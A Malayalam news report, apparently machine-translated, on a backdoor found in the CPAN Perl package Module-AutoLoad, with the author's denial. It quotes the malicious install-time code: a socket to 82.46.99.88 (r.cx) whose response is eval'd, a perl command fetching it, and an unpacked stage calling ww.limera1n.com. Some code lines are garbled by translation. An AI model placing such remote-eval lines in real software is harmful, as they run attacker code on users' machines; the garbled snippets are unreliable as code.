Module-AutoLoad Perl പാക്കേജിൽ ക്ഷുദ്രകരമായ കോഡ് കണ്ടെത്തി

CPAN ഡയറക്‌ടറി വഴി വിതരണം ചെയ്‌ത ഒരു പേൾ പാക്കേജിൽ മൊഡ്യൂൾ-ഓട്ടോലോഡ്, ഫ്ലൈയിൽ CPAN മൊഡ്യൂളുകൾ സ്വയമേവ ലോഡ് ചെയ്യാൻ രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്നു, തിരിച്ചറിഞ്ഞു ക്ഷുദ്ര കോഡ്. ക്ഷുദ്രകരമായ തിരുകൽ ആയിരുന്നു കണ്ടെത്തി ടെസ്റ്റ് കോഡിൽ 05_rcx.t, ഇത് 2011 മുതൽ ഷിപ്പിംഗ് ചെയ്യുന്നു.
സംശയാസ്പദമായ കോഡ് ലോഡ് ചെയ്യുന്നതിനെക്കുറിച്ചുള്ള ചോദ്യങ്ങൾ ഉയർന്നുവന്നത് ശ്രദ്ധേയമാണ് സ്തച്കൊവെര്ഫ്ലൊവ് 2016-ൽ തിരികെ.

മൊഡ്യൂൾ ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ ലോഞ്ച് ചെയ്ത ടെസ്റ്റ് സ്യൂട്ടിന്റെ എക്സിക്യൂഷൻ സമയത്ത് ഒരു മൂന്നാം കക്ഷി സെർവറിൽ നിന്ന് (http://r.cx:1/) കോഡ് ഡൗൺലോഡ് ചെയ്ത് എക്സിക്യൂട്ട് ചെയ്യാനുള്ള ശ്രമത്തിലേക്ക് ക്ഷുദ്രകരമായ പ്രവർത്തനം ചുരുങ്ങുന്നു. ബാഹ്യ സെർവറിൽ നിന്ന് ആദ്യം ഡൗൺലോഡ് ചെയ്‌ത കോഡ് ക്ഷുദ്രകരമല്ലെന്ന് അനുമാനിക്കപ്പെടുന്നു, എന്നാൽ ഇപ്പോൾ അഭ്യർത്ഥന ww.limera1n.com ഡൊമെയ്‌നിലേക്ക് റീഡയറക്‌ട് ചെയ്‌തു, അത് എക്‌സിക്യൂഷനുള്ള കോഡിന്റെ ഭാഗം നൽകുന്നു.

ഒരു ഫയലിൽ ഡൗൺലോഡ് സംഘടിപ്പിക്കാൻ 05_rcx.t ഇനിപ്പറയുന്ന കോഡ് ഉപയോഗിക്കുന്നു:

എന്റെ $പ്രോഗ് = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
എന്റെ $ശ്രമം = `$^X $prog`;

നിർദ്ദിഷ്ട കോഡ് സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യാൻ കാരണമാകുന്നു ../contrib/RCX.pl, ഇതിലെ ഉള്ളടക്കങ്ങൾ വരിയിലേക്ക് ചുരുക്കിയിരിക്കുന്നു:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

ഈ സ്ക്രിപ്റ്റ് ലോഡ് ചെയ്യുന്നു ആശയക്കുഴപ്പത്തിലായി സേവനം ഉപയോഗിക്കുന്നു perlobfuscator.com ബാഹ്യ ഹോസ്റ്റ് r.cx-ൽ നിന്നുള്ള കോഡ് (പ്രതീക കോഡുകൾ 82.46.99.88 "R.cX" എന്ന വാചകവുമായി പൊരുത്തപ്പെടുന്നു) കൂടാതെ അത് eval ബ്ലോക്കിൽ എക്സിക്യൂട്ട് ചെയ്യുന്നു.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; പ്രിന്റ് <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

അൺപാക്ക് ചെയ്ത ശേഷം, ഇനിപ്പറയുന്നവ ആത്യന്തികമായി നടപ്പിലാക്കുന്നു: കോഡ്:

പ്രിന്റ്{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";എവാലർ റിട്ടേൺ മുന്നറിയിപ്പ്$@while$b;1

പ്രശ്നമുള്ള പാക്കേജ് ഇപ്പോൾ റിപ്പോസിറ്ററിയിൽ നിന്ന് നീക്കംചെയ്തു. താൽക്കാലികമായി നിർത്തുക (Perl Authors Upload Server), കൂടാതെ മൊഡ്യൂൾ രചയിതാവിന്റെ അക്കൗണ്ട് തടഞ്ഞു. ഈ സാഹചര്യത്തിൽ, മൊഡ്യൂൾ ഇപ്പോഴും നിലനിൽക്കുന്നു ലഭ്യമാണ് MetaCPAN ആർക്കൈവിൽ, cpanminus പോലുള്ള ചില യൂട്ടിലിറ്റികൾ ഉപയോഗിച്ച് MetaCPAN-ൽ നിന്ന് നേരിട്ട് ഇൻസ്റ്റാൾ ചെയ്യാവുന്നതാണ്. ഇത് ശ്രദ്ധിക്കപ്പെടുന്നുപാക്കേജ് വ്യാപകമായി വിതരണം ചെയ്തിട്ടില്ലെന്ന്.

ചർച്ച ചെയ്യാൻ രസകരമാണ് ബന്ധിപ്പിച്ചിരിക്കുന്നു മൊഡ്യൂളിന്റെ രചയിതാവ്, തന്റെ സൈറ്റ് "r.cx" ഹാക്ക് ചെയ്യപ്പെട്ടതിന് ശേഷം ക്ഷുദ്രകരമായ കോഡ് ചേർത്തുവെന്ന വിവരം നിഷേധിച്ചു, താൻ വെറുതെ രസിക്കുകയാണെന്ന് വിശദീകരിച്ചു, എന്തെങ്കിലും മറയ്ക്കാനല്ല, വലുപ്പം കുറയ്ക്കാനാണ് perlobfuscator.com ഉപയോഗിച്ചത്. കോഡിന്റെ, ക്ലിപ്പ്ബോർഡ് വഴി പകർത്തുന്നത് ലളിതമാക്കുന്നു. "ബോട്ട്സ്ട്രാപ്പ്" എന്ന ഫംഗ്ഷൻ നാമത്തിന്റെ തിരഞ്ഞെടുപ്പ് ഈ വാക്ക് "ബോട്ട് പോലെ തോന്നുന്നു, ബൂട്ട്സ്ട്രാപ്പിനെക്കാൾ ചെറുതാണ്" എന്ന വസ്തുത വിശദീകരിക്കുന്നു. തിരിച്ചറിഞ്ഞ കൃത്രിമങ്ങൾ ക്ഷുദ്രകരമായ പ്രവർത്തനങ്ങൾ നടത്തുന്നില്ലെന്നും ടിസിപി വഴി കോഡിന്റെ ലോഡിംഗും എക്സിക്യൂഷനും മാത്രമേ കാണിക്കൂ എന്നും മൊഡ്യൂളിന്റെ രചയിതാവ് ഉറപ്പുനൽകി.

അവലംബം: opennet.ru